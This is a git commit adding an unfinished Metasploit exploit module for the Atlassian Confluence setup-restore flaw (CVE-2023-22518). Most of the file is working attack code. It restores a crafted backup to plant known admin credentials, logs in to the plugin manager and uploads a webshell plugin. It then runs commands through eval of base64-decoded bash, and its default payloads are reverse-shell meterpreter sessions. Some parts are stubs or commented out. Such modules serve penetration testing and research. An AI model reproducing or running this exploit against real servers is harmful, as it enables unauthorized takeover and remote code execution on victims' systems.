Auth bypass, auth, shell upload, working

This commit is contained in:
Jack Heysel 2023-11-21 22:14:27 -05:00
parent 56016cb3e7
commit e6e2106140
3 changed files with 355 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,355 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Unauth JSON setup-restore RCE',
'Description' => %q(
replace-me
),
'Author' =>
[
'replace-me', # discovery
'jheysel-r7' # module
],
'References' =>
[
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
[ 'CVE', '2023-22518']
],
'License' => MSF_LICENSE,
'Platform' => ['win', 'linux', 'unix'],
'Privileged' => false,
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows PowerShell',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Type' => :win_psh,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Arch' => ARCH_CMD,
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'Type' => :nix_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Python',
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 3,
'DisclosureDate' => '2023-10-31',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
)
)
register_options(
[
Opt::RPORT(8090)
],
)
end
def check
# Hit one of these endpoints:
#
#/json/setup-restore.action
#/json/setup-restore-local.action
#/json/setup-restore-progress.action
return CheckCode::Appears
end
def upload_backup
zip_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'xmlexport-20231120-222322-4.zip'))
post_data = Rex::MIME::Message.new
post_data.add_part("true", nil, nil, "form-data; name=\"buildIndex\"")
post_data.add_part(zip_file, 'application/zip', nil, "form-data; name=\"file\"; filename=\"xmlexport-20231120-222322-4.zip\"")
post_data.add_part("Upload and import", nil, nil, "form-data; name=\"edit\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "json", "setup-restore.action"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'keep_cookies' => true,
'headers' => {
"X-Atlassian-Token" => "no-check"
}
})
fail_with(Failure::UnexpectedReply, 'The endpoint /json/setup-restore.action did not respond with a 200') unless res&.code == 200
print_good("Exploit Success! Login Using 'admin :: N0tpassword!'")
end
def execute_command(cmd, _opts = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "plugins","servlet","com.jsos.shell","ShellServlet"),
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'Accept' => 'text/html,application/xhtml+xml'
},
'vars_get' => {
'act' => 3,
},
'data' => "cmd=#{(cmd)}"
)
unless res&.code == 200
fail_with(Failure::PayloadFailed, "Failed to execute the command: #{cmd}")
end
vprint_good("Successfully executed command: #{cmd}")
end
def authenticate_to_confluence
res0 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.action'),
'headers' => {
'Purpose' => 'prefetch'
},
'vars_get' => {
'os_destination' => '/index.action',
'permissionViolation' => 'true'
}
})
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dologin.action'),
'keep_cookies' => true,
'vars_post' => {
'os_username' => 'admin',
'os_password' => 'N0tpassword!',
'login' => 'Log in',
'os_destination' => '/index.action'
}
})
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to confluence with the newly set credentials') unless res&.code == 302
res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.action'),
'keep_cookies' => true,
'headers' => {
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0',
'Referer' => build_referer('/login.action?os_destination=/index.action&permissionViolation=true'),
}
})
fail_with(Failure::UnexpectedReply, 'Loading the dashboard after authenticating has failed') unless res1&.code == 200 && res1&.body.include?('Dashboard')
atlassian_token = res1.get_html_document.xpath("//meta[@id='atlassian-token' and @name='atlassian-token']/@content").text
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the atlassian_token from the response') unless atlassian_token
atlassian_token
end
def authenticate_to_plugins_config(atlassian_token)
res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/plugins/servlet/upm'),
'keep_cookies' => true,
})
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res1&.code == 302 && res1&.headers['Location']
res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res1&.headers['Location']),
'keep_cookies' => true,
# 'Referer' => build_referer('/plugins/servlet/upm'),
# 'vars_get' => {
# 'destination' => '/plugins/servlet/upm'
# }
})
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res2&.code == 200
res3 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'),
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'atl_token' => atlassian_token,
'password' => 'N0tpassword!',
'authenticate' => 'Confirm',
'destination' => '/plugins/servlet/upm'
}})
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res3&.code == 302
res4 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/plugins/servlet/upm'),
'keep_cookies' => true,
'headers' =>
{
'Referer' => build_referer(res1&.headers['Location'])
},
})
fail_with(Failure::UnexpectedReply, 'Unable to authenticate to the restricted plugins area') unless res4&.code == 200 && res4&.body.include?('Manage apps - Confluence')
end
def get_upn_token
res = send_request_cgi({
'method' => 'HEAD',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
'keep_cookies' => true,
'headers'=> {
'X-Atlassian-Token' => 'no-check'
}
})
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token') unless res&.code ==200 && res&.headers['upm-token']
res.headers['upm-token']
end
# def uri_path
# uri_path = target_uri.path
# uri_path << "/" if uri_path[-1, 1] != "/"
# uri_path
# end
def build_referer(uri_path)
if datastore['SSL']
schema = "https://"
else
schema = "http://"
end
referer = schema
referer << rhost
referer << ":#{rport}"
referer << uri_path
referer
end
def upload_webshell(upn_token)
webshell_jar = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'atlplug.jar'))
post_data = Rex::MIME::Message.new
post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"atlplug.jar\"")
post_data.add_part('', nil, nil, 'form-data; name="url"')
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "rest", "plugins", "1.0/"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'keep_cookies' => true,
'headers' => {
"Referer" => build_referer("/plugins/servlet/upm")
},
'vars_get' => {
'token' => upn_token
}
})
end
def exploit
# Restore back from .zip
#upload_backup
# Authenticate once to access confluence
atlassian_token = authenticate_to_confluence
# Confluence makes your authenticate a second time when attempting to access the plugins configuration page
authenticate_to_plugins_config(atlassian_token)
#
# # Token required for uploading a new plugin
upn_token = get_upn_token
#
# # Upload WebShell plugin
upload_webshell(upn_token)
sleep(5)
#
# Send payload to the webshell
case target['Type']
when :nix_cmd
bash_cmd = "eval $(echo #{Rex::Text.encode_base64("bash -c \"#{payload.encoded}\"")} | base64 -d)"
execute_command(bash_cmd)
when :nix_dropper
execute_cmdstager
end
end
end